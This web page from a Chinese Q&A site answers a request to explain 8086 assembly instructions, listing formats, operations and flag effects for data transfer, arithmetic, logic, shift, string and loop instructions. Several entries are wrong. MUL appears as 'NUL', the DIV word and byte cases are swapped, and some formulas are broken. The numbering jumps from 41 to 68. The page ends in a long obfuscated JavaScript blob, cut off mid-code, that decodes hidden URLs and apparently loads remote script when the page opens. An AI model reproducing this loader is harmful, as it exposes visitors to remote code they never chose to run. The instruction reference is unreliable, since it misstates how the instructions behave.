求所有汇编指令的英文解释?

2025-02-25 01:23:16
推荐回答(1个)
回答1:

一、通用数据传送指令

1、传送指令 MOV (move)

指令的汇编格式:MOV DST,SRC
指令的基本功能:(DST)<-(SRC) 将原操作数(字节或字)传送到目的地址。
指令支持的寻址方式:目的操作数和源操作数不能同时用存储器寻址方式,这个限制适用于所有指令。
指令的执行对标志位的影响:不影响标志位。
指令的特殊要求:目的操作数DST和源操作数SRC不允许同时为段寄存器;
目的操作数DST不能是CS,也不能用立即数方式。

2、进栈指令 PUSH (push onto the stack)
出栈指令 POP (pop from the stack)

指令的汇编格式:PUSH SRC ;POP DST
指令的基本功能:PUSH指令在程序中常用来暂存某些数据,而POP指令又可将这些数据恢复。
PUSH SRC (SP)<-(SP)-2 ;(SP)<-(SRC)
POP DST (DST)<-((SP));(SP)<-(SP)
指令支持的寻址方式:push 和 pop指令不能不能使用立即数寻址方式。
指令对标志位的影响:PUSH 和 POP指令都不影响标志位。
指令的特殊要求:PUSH 和 POP指令只能是字操作,因此,存取字数据后,SP的修改必须是+2 或者 -2;
POP指令的DST不允许是CS寄存器;

3、交换指令 XCHG (exchange)

指令的汇编格式:XCHG OPR1,OPR2
指令的基本功能:(OPR1)<->(OPR2)
指令支持的寻址方式:一个操作数必须在寄存器中,另一个操作数可以在寄存器或存储器中。
指令对标志位的影戏:不影响标志位。
指令的特殊要求:不允许使用段寄存器。

二、累加器专用传送指令

4、输入指令 IN (input)
输出指令 OUT (output)

指令的汇编格式:IN ac,port port<=0FFH
IN ac,DX port>0FFH
OUT port,ac port<=0FFH
OUT DX,ac port>0FFH
指令的基本功能:对8086及其后继机型的微处理机,所有I/O端口与CPU之间的通信都由输入输出指令IN和OUT来完成。IN指令将信息从I/O输入到CPU,OUT指令将信息从CPU输出到I/O端口,因此,IN和OUT指令都要指出I/O端口地址。
IN ac,port port<=0FFH (AL)<-(port)传送字节 或 (AX)<-(port+1,port)传送字
IN ac,DX port>0FFH (AL)<-((DX))传送字节 或 (AX)<-((DX)+1,(DX))传送字
OUT port,ac port<=0FFH (port)<-(AL)传送字节 或 (port+1,port)<-(AX)传送字
OUT DX,ac port>0FFH (DX)<-(AL)传送字节 或 ((DX)+1,(DX))<-(AX)传送字
指令对标志位的影响:不影响标志位。
指令的特殊要求:只限于在AL或AX与I/O端口之间传送信息。
传送16位信息用AX,传送8位信息用AL,这取决于外设端口的宽度。

5、换码指令 XLAT (translate)

指令的汇编格式:XLAT opr 或 XLAT
指令的基本功能:这条指令根据AL寄存器提供的位移量,将BX指使的字节表格中的代码换存在AL中。
(AL)<-((DS)*16+(BX)+(AL))
指令对标志位的影响:不影响标志位。
指令的特殊要求:所建字节表格的长度不能超过256字节,因为存放位移量的是8位寄存器AL。
opr为表格的首地址,因为opr所表示的偏移地址已存入BX寄存器,所以opr在换码指令中可有可无,有则提高程序的可读性。

三、地址传送指令

6、有效地址传送器 LEA (load effective address)

指令的汇编格式:LEA reg,src
指令的基本功能:LEA指令把源操作数的有效地址送到指定的寄存器,这个有效地址是由src选定的一种存储器寻址方式确定的。
指令支持的寻址方式:各种存储器寻址方式。
指令对标志位的影响:不影响标志位。
指令的特出要求:指令中reg不能是段寄存器;

7、指针送寄存器和DS LDS (load DS with point)
指针送寄存器和ES LES (load ES with point)
指令的汇编格式:LDS reg,src
LES reg,src
指令的基本功能:LDS和LES指令把确定内存单元位置的偏移地址送寄存器,段地址DS或ES。这个偏移地址和段地址(也称地址指针)是由src指定的两个相继字单元提供的。
LDS reg,src (reg)<-(src) (DS)<-(src+2)
LES reg,src (reg)<-(src) (ES)<-(src+2)
指令支持的寻址方式:src必须为存储器寻址方式
指令对标志位的影响:不影响标志位。
指令的特殊要求:指令中REG不能是段寄存器;

四、标志寄存器传送指令

8、标志寄存器的低字节送AH LAHF (load AH with FLAGS)

指令的汇编格式:LAHF
指令的基本功能:(AH)<-(FLAGS)0-7
指令对标志位的影响:不影响标志位

9、AH送标志寄存器低字节 SAHF(store AH into FLAGS)

指令的汇编格式:SAHF
指令的基本功能:(FLAGS)0-7<-(AH)
指令对标志位的影响:由装入值来确定标志位的值。

10、标志进栈 PUSHF (push the flags)

指令的汇编格式:PUSHF
指令的基本功能:(SP)<-(SP)-2 ((SP)+1,(SP))<-(FLAGS)0-15
指令对标志位的影响:不影响标志位。

11、标志出栈 POPF (pop the FLAGES)

指令的汇编格式:POPF
指令的基本功能:(FLAGS)0-15<-((SP)+1,(SP)) (SP)<-(SP)+2
指令对标志位的影响:由装入值来确定标志位的值。

[算术指令]

一、加法指令

12、加法指令 ADD (addition)

指令的汇编格式:add dst,src
指令的基本功能:(dst)<-(src)+(dst)
指令支持的寻址方式:他们两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:SF=1 加法结果为负数(符号位为1)
SF=0 加法结果为正数(符号位为0)
ZF=1 加法结果为零
ZF=0 加法结果不为零
CF=1 最高有效位向高位有进位
CF=0 最高有效位向高位无进位
OF=1 两个同符号数相加(正数+正数 或 负数+负数),结果符号与其相反。
OF=0 两个不同符号数相加,或同符号数相加,结果符号与其相同。

13、带进为加法指令 ADC (add with carry)

指令的汇编格式:ADD dst,src
指令的基本功能:(dst)<-(src)+(dst)+CF
指令支持的寻址方式:他们两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:SF=1 加法结果为负数
SF=0 加法结果为正数
ZF=1 加法结果为零
ZF=0 加法结果不为零
CF=1 最高有效位向高位有进位
CF=0 最低有效位相高位无进位
OF=1 两个同符号数相加,结果符号与其相反,
OF=0 两个同符号数相加,或同符号相加,结果符号与其相同

14、加1指令 INC (increament)
指令的汇编格式:INC opr
指令的基本功能:(opr)<-(opr)
指令支持的寻址方式 可以使用除立即数方式外的任何寻址方式
指令对标志位的影响:SF=1 加法结果为负数
SF=0 加法结果为正数
ZF=1 加法结果为零
ZF=0 加法结果不为零
OF=1 两个同符号数相加,结果符号与其相反,
OF=0 两个同符号数相加,或同符号相加,结果符号与其相同。

二、减法指令

15、减法指令 SUB (subtract)

指令的汇编格式:SUB dst,src
指令的基本功能:(dst)<-(dst)-(src)
指令支持的寻址方式:他们两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:SF=1 减法结果为负数(符号位为1)
SF=0 减法结果为正数(符号位为0)
ZF=1 减法结果为零
ZF=0 减法结果不为零
CF=1 二进制减法运算中最高有效位向高位有借位(被减数小于减数,不够减的情况)
CF=0 二进制减法运算中最高有效为向高位无借位(被减数〉=减数,够减的情况)
OF=1 两数符号相反(正数-负数,或负数-正数),而结果符号与减数相同。
OF=0 同符号数相减时,或不同符号数相减,其结果符号与减数不同。

16、带借位减法指令 SBB (subtract with borrow)

指令的汇编格式:SBB dst,src
指令的基本功能:(dst)<-(dst)-(src)-CF
指令支持的寻址方式:他们两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:SF=1 减法结果为负数(符号位为1)
SF=0 减法结果为正数(符号位为0)
ZF=1 减法结果为零
ZF=0 减法结果不为零
CF=1 二进制减法运算中最高有效位向高位有借位(被减数小于减数,不够减的情况)
CF=0 二进制减法运算中最高有效为向高位无借位(被减数〉=减数,够减的情况)
OF=1 两数符号相反(正数-负数,或负数-正数),而结果符号与减数相同。
OF=0 同符号数相减时,或不同符号数相减,其结果符号与减数不同。

17、减1指令 DEC (decrement)

指令的汇编格式:DEC opr
指令的基本功能:(opr)<-(opr)-1
指令支持的寻址方式:可以使用除立即数方式外的任何寻址方式。
指令对标志位的影响:SF=1 减法结果为负数(符号位为1)
SF=0 减法结果为正数(符号位为0)
ZF=1 减法结果为零
ZF=0 减法结果不为零
OF=1 两数符号相反(正数-负数,或负数-正数),而结果符号与减数相同。
OF=0 同符号数相减时,或不同符号数相减,其结果符号与减数不同。

18、比较指令 CMP (compare)

指令的汇编格式:CMP opr1,opr2
指令的基本功能:(opr1)-(opr2),根据相减结果设置条件码,但不回送结果。
指令支持的寻址方式:他们两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:SF=1 减法结果为负数(符号位为1)
SF=0 减法结果为正数(符号位为0)
ZF=1 减法结果为零
ZF=0 减法结果不为零
CF=1 二进制减法运算中最高有效位向高位有借位(被减数小于减数,不够减的情况)
CF=0 二进制减法运算中最高有效为向高位无借位(被减数〉=减数,够减的情况)
OF=1 两数符号相反(正数-负数,或负数-正数),而结果符号与减数相同。
OF=0 同符号数相减时,或不同符号数相减,其结果符号与减数不同。

19、求补指令 NEG (negate)

指令的汇编格式:NEG opr
指令的基本功能:(opr)<- -(opr)
指令支持的寻址方式:可以使用除立即数方式外的任何寻址方式。
指令对标志位的影响:CF=1 不为0的操作数求补时
CF=0 为0的操作数求补时
OF=1 操作数为-128(字节运算)或操作数为-32768(字运算)
OF=0 当求补运算的操作数不为-128(字节)或-32768(字)时

三、乘法指令

20、无符号乘法指令 NUL (unsigned multiple)
有符号乘法指令 IMUL(signed muliple)

指令的汇编格式:NUL src
IMUL src
指令的基本功能:(AX)<-(AL)*(src)
(DX,AX)<-(AX)*(src)
指令支持的寻址方式:src可以使用除立即数方式以外的任一种寻址方式。
指令对标志位的影响:乘法指令只影响标志位CF和OF,其他条件码位无定义。
MUL指令的条件码设置为:
CF OF=0 0 乘积的高一半为0(字节操作的(AH)或字操作的(DX))
CF OF=1 1 乘积的高一半不为0
IMUL指令的条件码设置为:
CF OF=0 0 乘积的高一半为低一半的符号扩展.
CF OF=1 1 其他情况
指令的特殊要求:MUL和IMUL指令的区别仅在于操作数是无符号还是带符号数,它们的共同点是,指令中只给出源操作数src,目的操作数是隐含的,它只能是累加器(字运算为AX,字节运算为AL)。隐含的乘积寄存器是AX或DX(高位)和AX(低位)。

四、符号扩展指令

21、节扩展为字 CBW (convert byte to word)

指令的汇编格式:CBW
指令的基本功能:(AH)=00H 当(AL)的最高有效位为0时
(AH)=FFH 当(AL)的最高有效位为1时
指令对标志位的影响:不影响标志位
指令的特殊要求:这是条无操作数的指令,进行符号扩展的操作数必须存放在AL寄存器或AX寄存器中。

22、字扩展为双字 CWD (convert word to double word)

指令的汇编格式:CWD
指令的基本功能:(DX)=0000H 当(AX)的最高有效位为0时
(DX)=FFFFH 当(AX)的最高有效位为1时
指令对标志位的影响:不影响标志位
指令的特殊要求:这是条无操作数的指令,进行符号扩展的操作数必须存放在AL寄存器或AX寄存器中。

五、除法指令

23、无符号数除法 DIV (unsigned divide)
带符号数除法 IDIV (singed divide)

指令的汇编格式:DIV src
IDIV src
指令的基本功能:字操作
(AL)<-(AX)/src的商
(AH)<-(AX)/src的余数
字节操作
(AX)<-(DX,AX)/src的商
(DX)<-(DX,AX)/src的余数
指令支持的寻址方式:src作为除数,可用除立即数以外的任一种寻址方式来取得。
指令对标志位的影响:不影响条件码。
指令的特殊要求:除法指令要求字操作时,被除数必须为32位,除数是16位,商和余数是16位的;
字节操作时,被除数必须为16位,除数是8位,得到的商和余数是8位的。

六、十进制调整指令

[逻辑指令]

一、逻辑运算

24、逻辑与 AND (logic and)

指令的汇编格式:AND dst,src
指令的基本功能:(dst)<-(dst)与(src)
指令支持的寻址方式:两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,源操作数和目地操作数必须有一个寄存器寻址方式。
指令对标志位的影响:指令执行后 CF 和 OF 置零,AF无定义。
SF=1 指令执行后的结果为负数(符号位为1)
SF=0 指令执行后的结果为正数(符号位为0)
ZF=1 指令执行后的结果为零
ZF=0 指令执行后的结果不为零
PF=1 结果操作数中1的个数为偶数时置1
PF=0 结果操作数中1的个数为奇数时置0

25、逻辑或 OR (logic or)

指令的汇编格式:OR dst,src
指令的基本功能:(dst)<-(dst)或(src)
指令支持的寻址方式:两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,原操作数和目的操作数必须有一个寄存器寻址方式。
指令对标志位的影响:令执行后 CF 和 OF 置零,AF无定义。
SF=1 指令执行后的结果为负数(符号位为1)
SF=0 指令执行后的结果为正数(符号位为0)
ZF=1 指令执行后的结果为零
ZF=0 指令执行后的结果不为零
PF=1 结果操作数中1的个数为偶数时置1
PF=0 结果操作数中1的个数为奇数时置0

26、逻辑非 NOT (logic not)

指令的汇编格式:NOT orc
指令的基本功能:(dst)<-(opr)
指令支持的寻址方式:除立即数寻址方式以外的其余寻址方式
指令对标志位的影响:对标志位无影响

27、异或 XOR (exclusice or)

指令的汇编格式:XOR dst,src
指令的基本功能:(dst)<-(dst)异或(src)
指令支持的寻址方式:两个操作数不能同时为存储器寻址。即为除源操作数为立即数的情况外,原操作数和目的操作数必须有一个寄存器寻址方式。
指令对标志位的影响:令执行后 CF 和 OF 置零,AF无定义。
SF=1 指令执行后的结果为负数(符号位为1)
SF=0 指令执行后的结果为正数(符号位为0)
ZF=1 指令执行后的结果为零
ZF=0 指令执行后的结果不为零
PF=1 结果操作数中1的个数为偶数时置1
PF=0 结果操作数中1的个数为奇数时置0

28、测试指令 TEST

指令的汇编格式:TEST opr1,opr2
指令的基本功能:(opr1)与(opr2)
指令支持的寻址方式:两个操作数不能同时为存储器寻址,即为除源操作数为立即数的情况外,源操作数和目的操作数必须有一个寄存器寻址方式。
指令对标志位的影响:令执行后 CF 和 OF 置零,AF无定义。
SF=1 指令执行后的结果为负数(符号位为1)
SF=0 指令执行后的结果为正数(符号位为0)
ZF=1 指令执行后的结果为零
ZF=0 指令执行后的结果不为零
PF=1 结果操作数中1的个数为偶数时置1
PF=0 结果操作数中1的个数为奇数时置0

二、移位指令

29、逻辑左移 SHL (shift logical left)

指令的汇编格式:SHL dst,cnt
指令的基本功能:SHL指令向左逐位移动cnt次,每次逐位移动后,最低位用0来补充,最高位移入CF。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移位次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

30、逻辑右移 SHR (shift logical right)

指令的汇编格式:SHR dst,cnt
指令的基本功能:SHR指令向右逐位移动cnt次,每次逐位移动后,最高位用0来补充,最低位移入CF。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移位次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

31、算术左移 SAL (shift arithmetic left)

指令的汇编格式:SAL dst cnt
指令的基本功能:SAL指令向左逐位移动cnt次,每次逐位移动后,最低位用0来补充,最高位移入CF。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移位次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

32、算术右移 SAR (shift arithmetic right)

指令的汇编格式:SAR dst,cnt
指令的基本功能:SAR指令向右逐位移动cnt次,每次逐位移动后,最高位用符号位来补充,最低位移入CF。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移位次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

33、循环左移 ROL (rotate left)

指令的汇编格式:ROL dst,cnt
指令的基本功能:ROL 对由dst指定的寄存器或存储器操作数左移循环移动cnt所指定的次数,每左移一次,把最高位同时移入CF和操作数最低位。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移动次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

34、循环右移 ROR (rotate right)

指令的汇编格式:ROR dst,cnt
指令的基本功能:ROR 对由dst指定的寄存器或存储器操作数右移循环移动cnt所指定的次数,每右移一次,把最低位同时移入CF和操作数最高位。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移动次数(或位数)cnt=1时,1可以直接写在指令中,cnt>1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值
OF=1 当cnt=1时,移动后最高位的值发生变化。
OF=0 当cnt=1时,移动时最高位的值未发生变化。
SF、ZF、PF根据移动后的结果设置。

35、带进位的循环左移 RCL (rotate left through carry)

指令的汇编格式:RCL dst,cnt
指令的基本功能:RCL 对由dst指定的寄存器或存储器操作数,连同进位标志CF左循环移动,m所指定的次数,每左移一次,把操作数的最高位移入CF,而CF中原有内容移入操作数的最低位。
指定支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移动次数(或位数)cnt=1时,1可以直接写在指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值。
OF=1 当cnt=1时,移动后最高位的值未发生变化。
OF=0 当cnt=1时,移动后最高位的值发生变化。
SF、ZF、PF标志位不受影响。

36、带进位的循环右移 RCR (rotate right through carry)

指令的汇编格式:RCR dst,cnt
指令的基本功能:RCR 对由dst指定的寄存器或存储器操作数,连同进位标志CF右循环移动,m所指定的次数,每右移一次,把操作数的最高低位移入CF,而CF中原有内容移入操作数的最高位。
指令支持的寻址方式:目的操作数dst可以是除立即数外的任何寻址方式。移动次数(或位数)cnt=1时,1可以直接写入指令中,cnt〉1时,cnt必须放入CL寄存器中。
指令对标志位的影响:CF=移入的数值。
OF=1 当cnt=1时,操作数最高位的值未发生变化。
OF=0 当cnt=1时,操作数最高位的值发生变化。
SF、ZF、PF标志位不受影响。

[串处理指令]

一、设置方向标志指令

37、DF置零 CLD (clear direction flag)
DF置一 STD (set direction flag)

指令的汇编格式:CLD
STD
指令的基本功能:CLD DF=0
STD DF=1

二、串处理指令

38、串传送 MOVSB / MOVSW (move string byte/word)

指令的汇编格式:MOVSB
MOVSW
指令的基本功能:(ES:DI)<-(DS:SI)
(SI)<-(SI)+/-1(字节)或+/-2(字)
(DI)<-(DI)+/-1(字节)或+/-2(字)
指令对条件码的影响:不影响条件码。
指令的特殊要求:源串必须在数据段中,目的串必须在附加段中,串处理指令隐含的寻址方式是SI和DI寄存器的间接寻址方式。源串允许使用段跨越前缀来指定段。

39、存串 STOSB / STOSW (stroe from string byte/word)

指令的汇编格式:STOSB
STOSW
指令的基本功能:(ES:DI)<-(AL)或(AX)
(DI)<-(DI)+/-1(字节)或+/-2(字)
指令对条件码的影响:不影响条件码。
指令的特殊要求:源串必须在数据段中,目的串必须在附加段中,串处理指令隐含的寻址方式是SI和DI寄存器的间接寻址方式。源串允许使用段跨越前缀来指定段。

40、取串LODSB / LODSW (load from string byte/word)

指令的汇编格式:LODSB
LODSW
指令的基本功能:(AL)或(AX)<-(DS:SI)
(SI)<-(SI)+/-1(字节)或+/-2(字)
指令对条件码的影响:不影响条件码。
指令的特殊要求:源串必须在数据段中,目的串必须在附加段中,串处理指令隐含的寻址方式是SI和DI寄存器的间接寻址方式。源串允许使用段跨越前缀来指定段。

41、串比较 CMPSB / CMPSW (compare string byte/word)

指令的汇编格式:CMPSB
CMPSW
指令的基本功能:(DS:SI)-(ES:DI) 根据比较结果设置条件码
(SI)<-(SI)+/-1(字节)或+/-2(字)
(DI)<-(DI)+/-1(字节)或+/-2(字)
指令对条件码的影响:SF=1 减法结果为负数(符号位为1)
SF=0 减法结果为正数(符号位为0)
ZF=1 减法结果为零
ZF=0 减法结果不为零
CF=1 二进制减法运算中最高有效位向高位有借位(被减数小于减数,不够减的情况)
CF=0 二进制减法运算中最高有效为向高位无借位(被减数〉=减数,够减的情况)
OF=1 两数符号相反(正数-负数,或负数-正数),而结果符号与减数相同。
OF=0 同符号数相减时,或不同符号数相减,其结果符号与减数不同。

三、循环指令

68、循环 LOOP (loop)
指令的汇编格式:LOOP label
指令的基本功能:① (CX)←(CX)-1
② 若(CX)≠0,则(IP)←(IP)当前+位移量,否则循环结束。
指令的特殊要求:循环指令都是短转移格式的指令,也就是说,位移量是用8位带符号数来表示的,转向地址在相对于当前IP值的-128 ~ +127字节范围之内。

69、为零/相等时循环 LOOPZ/LOOPE (loop while nonzero or equal)
指令的汇编格式:LOOPNZ/LOOPNE label
指令的基本功能:① (CX)←(CX)-1
② 若ZF=1且(CX)≠0,则(IP)←(IP)当前+位移量,否则循环结束。
指令的特殊要求:循环指令都是短转移格式的指令,也就是说,位移量是用8位带符号数来表示的,转向地址在相对于当前IP值的-128 ~ +127字节范围之内。

70、不为零/不相等时循环 LOOPNZ/LOOPNE (loop while nonzero or not equal)
指令的汇编格式:LOOPNZ/LOOPNE label
指令的基本功能:① (CX)←(CX)-1
② 若ZF=0且(CX)≠0,则(IP)←(IP)当前+位移量,否则循环结束。
指令的特殊要求:循环指令都是短转移格式的指令,也就是说,位移量是用8位带符号数来表示的,转向地址在相对于当前IP值的-128 ~ +127字节范围之内。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 